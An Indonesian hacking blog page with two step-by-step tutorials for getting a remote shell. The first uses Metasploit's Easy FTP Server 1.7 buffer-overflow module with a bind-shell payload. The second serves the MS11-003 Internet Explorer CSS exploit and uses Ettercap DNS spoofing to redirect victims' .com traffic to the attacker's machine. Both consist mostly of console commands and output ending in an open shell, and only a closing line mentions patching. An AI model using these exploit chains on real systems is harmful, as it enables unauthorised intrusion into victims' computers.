7/27/11

Tutorial cara serangan untuk mendapatkan shell di FTP Server


Keamanan suatu aplikasi server yang kita gunakan perlu mendapatkan perhatian, karena jika kita tidak memperhatikan lebih jauh maka komputer kita dapat kebobolan di hack oleh orang lain yang tidak bertanggung jawab menjadi lebih besar.

FTP Server merupakan sebuah server yang memanfaatkan File Transfer Protocol (FTP) untuk keperluan transfer file antar mesin pada jaringan TCP/IP, disini celah keamanannya ada pada aplikasi Easy FTP Server versi 1.7 pada buffer overflow yang dimana kita dapat memanfaatkannya dengan memasukkan input dalam bentuk exploit sehingga data-data yang disimpan melebihi kapasitas buffer memorinya. Intinya dengan proses tersebut maka kita dapat memasukkan berbagai shellcode untuk dijalankan di server, contohnya bind shell.

Disini kita dapat menggunakan Metasploit Framework 3.71 atau lebih tinggi.
_ _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_|

=[ metasploit v3.7.1-release [core:3.7 api:1.0]
+ — –=[ 688 exploits - 357 auxiliary - 39 post
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12635 updated 64 days ago (2011.05.16)

Warning: This copy of the Metasploit Framework was last updated 64 days ago.
We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:

http://www.metasploit.com/redmine/projects/framework/wiki/Updating

msf exploit(easyftp_cwd_fixret) > use exploit/windows/ftp/easyftp_cwd_fixret

Kita menggunakan exploit easyftp_cwd_fixret

msf exploit(easyftp_cwd_fixret) > set PAYLOAD windows/shell/bind_tcp

Kita memilih payload bind_tcp

PAYLOAD => windows/shell/bind_tcp
msf exploit(easyftp_cwd_fixret) > set RHOST 192.168.1.18

Contoh target kita adalah 192.168.1.18

RHOST => 192.168.1.18
msf exploit(easyftp_cwd_fixret) > exploit

Setelah itu tinggal kita ketik exploit seperti diatas lalu enter

[*] Started bind handler
[*] Prepending fixRet…
[*] Adding the payload…
[*] Overwriting part of the payload with target address…
[*] Sending exploit buffer…
[*] Sending stage (240 bytes) to 192.168.1.18
[*] Command shell session 1 opened (192.168.1.10:2598 -> 192.168.1.18:4444) at 2011-07-19 03:32:43 +0700

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\ftp\easyftpsvr-1.7.0.2>

Binggo, anda mendapatkan shell di server FTP Target.

Oleh : Kurniawan xcode

7/25/11

Tutorial hacking mendapatkan shell di Windows 7 Full Version melalui jaringan

Windows 7 adalah Microsoft Windows yang menggantikan Windows Vista. Windows 7 adalah Windows terbaru saat ini yang dibuat oleh Microsoft.
Disini saya akan memberikan contoh bagaimana cara hacking mendapatkan shell di windows 7 melalui jaringan dengan memanfaatkan browser Internet Explorer 8 yang mempunyai celah keamanan pada penanganan Cascading Style Sheets di memory (http://www.microsoft.com/technet/security/bulletin/ms11-003.mspx).
Oke saya langsung saja.
Pertama kali download Metasploit Framework 3.71 atau yang lebih baru, setelah didownload maka anda jalankan metasploitnya, disini penulis menggunakan GUI. Setelah masuk di tampilan GUI maka klik Exploits -> Windows -> Browser  -> ms11_003_ie_css_import, payload yang penulis pilih adalah shell lalu bind shell, lalu port di set 80, URIPATH penulis set /, saat exploitasi penulis tampilkan dalam bentuk Run in Console.
< metasploit >
————
\   ,__,
\  (oo)____
(__)    )\
||–|| *

=[ metasploit v3.7.1-release [core:3.7 api:1.0]
+ — –=[ 688 exploits - 357 auxiliary - 39 post
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12635 updated 59 days ago (2011.05.16)

Warning: This copy of the Metasploit Framework was last updated 59 days ago.
We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:

http://www.metasploit.com/redmine/projects/framework/wiki/Updating
msf > use exploit/windows/browser/ms11_003_ie_css_import
msf exploit(ms11_003_ie_css_import) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms11_003_ie_css_import) > set SRVPORT 80
SRVPORT => 80
msf exploit(ms11_003_ie_css_import) > set URIPATH /
URIPATH => /
msf exploit(ms11_003_ie_css_import) > exploit
[*] Exploit running as background job.
[*] Using URL: http://0.0.0.0:80/
[*] Started bind handler
[*]  Local IP: http://192.168.1.10:80/
[*] Server started.

Setelah itu, jalankan teknik DNS Spoofing, anda bisa menggunakan Ettercap, penulis sudah beberapa kali mengisi seminar tentang DNS Spoofing di tahun 2008 dan 2009. Contohnya penulis mendemokan langsung untuk melakukan hacking windows Vista dengan memanfaatkan celah keamanan browser IE 7 dan DNS Spoofing menggunakan ettercap di suatu mall di Jogja, bahkan apalagi saat ini sudah banyak tutorial tentang cara menggunakan teknik DNS Spoofing menggunakan ettercap di google, sehingga penulis tidak perlu menuliskannya disini.
Disini, penulis asumsikan kita menggunakan ettercap yang penulis set di etter.dns, contoh dimasukkan *.com A 192.168.1.10, save lalu jalankan Spoofingnya, karena celah ini pada keamanan IE, maka korban harus membuka situsnya dengan IE yang punya celah keamanan tersebut. Apapun situs dengan domain .com yang dibuka oleh pengguna windows 7 dengan IE 8 tersebut maka akan langsung diarahkan ke URL komputer penulis yaitu http://192.168.1.10. Setelah dijalankan IP itu di IE maka akan tampill seperti berikut di Metasploit kita.
[*] 192.168.1.10:1884 Received request for “/”
[*] 192.168.1.10:1884 Sending windows/browser/ms11_003_ie_css_import redirect
[*] 192.168.1.10:1884 Received request for “/Gm8zVwl.html”
[*] 192.168.1.10:1884 Sending windows/browser/ms11_003_ie_css_import HTML
[*] Started bind handler
[*] 192.168.1.10:1884 Received request for “/generic-1310601540.dll”
[*] 192.168.1.10:1884 Sending windows/browser/ms11_003_ie_css_import .NET DLL
[-] Exception handling request: An existing connection was forcibly closed by the remote host.
[*] 192.168.1.10:1889 Received request for “/\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A”
[*] 192.168.1.10:1889 Sending windows/browser/ms11_003_ie_css_import CSS
[*] Sending stage (240 bytes) to 192.168.1.10
[*] Command shell session 2 opened (192.168.1.10:1890 -> 192.168.1.10:4444) at 2011-07-14 06:59:03 +0700

Binggo, kita mendapatkan shell. :D
Untuk pengamanan anda dapat update IE anda atau upgrade ke IE 9. Penulis tidak bertanggung jawab segala hal yang diakibatkan tutorial ini.
Oleh Kurniawan
 
 
Copyright © .:: X-WuNGu c0d3 ::.
2011 All Reserved
Devilzc0de Green Slime by xwungu